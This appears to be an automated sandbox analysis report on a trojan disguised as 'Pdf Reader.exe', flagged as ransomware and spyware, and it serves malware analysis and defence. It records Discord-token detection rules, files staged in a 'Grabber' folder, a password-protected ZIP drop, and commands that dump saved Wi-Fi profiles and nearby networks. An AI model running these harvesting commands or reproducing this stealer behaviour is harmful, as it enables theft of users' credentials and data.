Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\Pdf Reader.exe	File deleted: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File deleted: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\HTAGVDFUIE.png	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File deleted: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\JSDNGYCOWY.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File deleted: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\KATAXZVCPS.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	File deleted: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN\BPMLNOBVSB.png	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Pdf Reader.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Drops password protected ZIP file

Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@562258_en-CH.zip.0.dr	Zip Entry: encrypted

Source: C:\Users\user\Desktop\Pdf Reader.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 14_2_00007FFD9B7D8B02	14_2_00007FFD9B7D8B02
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 14_2_00007FFD9B7D7D56	14_2_00007FFD9B7D7D56
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 14_2_00007FFD9B7D0F69	14_2_00007FFD9B7D0F69
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 15_2_00007FFD9B7D8B02	15_2_00007FFD9B7D8B02
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 15_2_00007FFD9B7D7D56	15_2_00007FFD9B7D7D56
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Code function: 15_2_00007FFD9B7D0F69	15_2_00007FFD9B7D0F69

Source: Pdf Reader.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Pdf Reader.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000000.1699956098.0000016AEF602000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: Pdf Reader.exe PID: 7392, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: Pdf Reader.exe, StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Pdf Reader.exe.0.dr, StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'

Source: Pdf Reader.exe, Config.cs	Base64 encoded string: 'GAXE5H5XXCBCAO44DBYZQZ5AI2PE7JMDF5QMUOJN53ED4DC6YTQIXIEE'
Source: Pdf Reader.exe.0.dr, Config.cs	Base64 encoded string: 'GAXE5H5XXCBCAO44DBYZQZ5AI2PE7JMDF5QMUOJN53ED4DC6YTQIXIEE'

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@20/109@10/5

Source: C:\Users\user\Desktop\Pdf Reader.exe

File created: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350

Jump to behavior

Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Users\user\Desktop\Pdf Reader.exe	Mutant created: \Sessions\1\BaseNamedObjects\wef5wef1
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03

Source: C:\Users\user\Desktop\Pdf Reader.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBFB4.tmp

Jump to behavior

Source: Pdf Reader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Pdf Reader.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Pdf Reader.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpBFE4.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Pdf Reader.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\Pdf Reader.exe

File read: C:\Users\user\Desktop\Pdf Reader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Pdf Reader.exe "C:\Users\user\Desktop\Pdf Reader.exe"
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: unknown	Process created: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe "C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe "C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe"
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
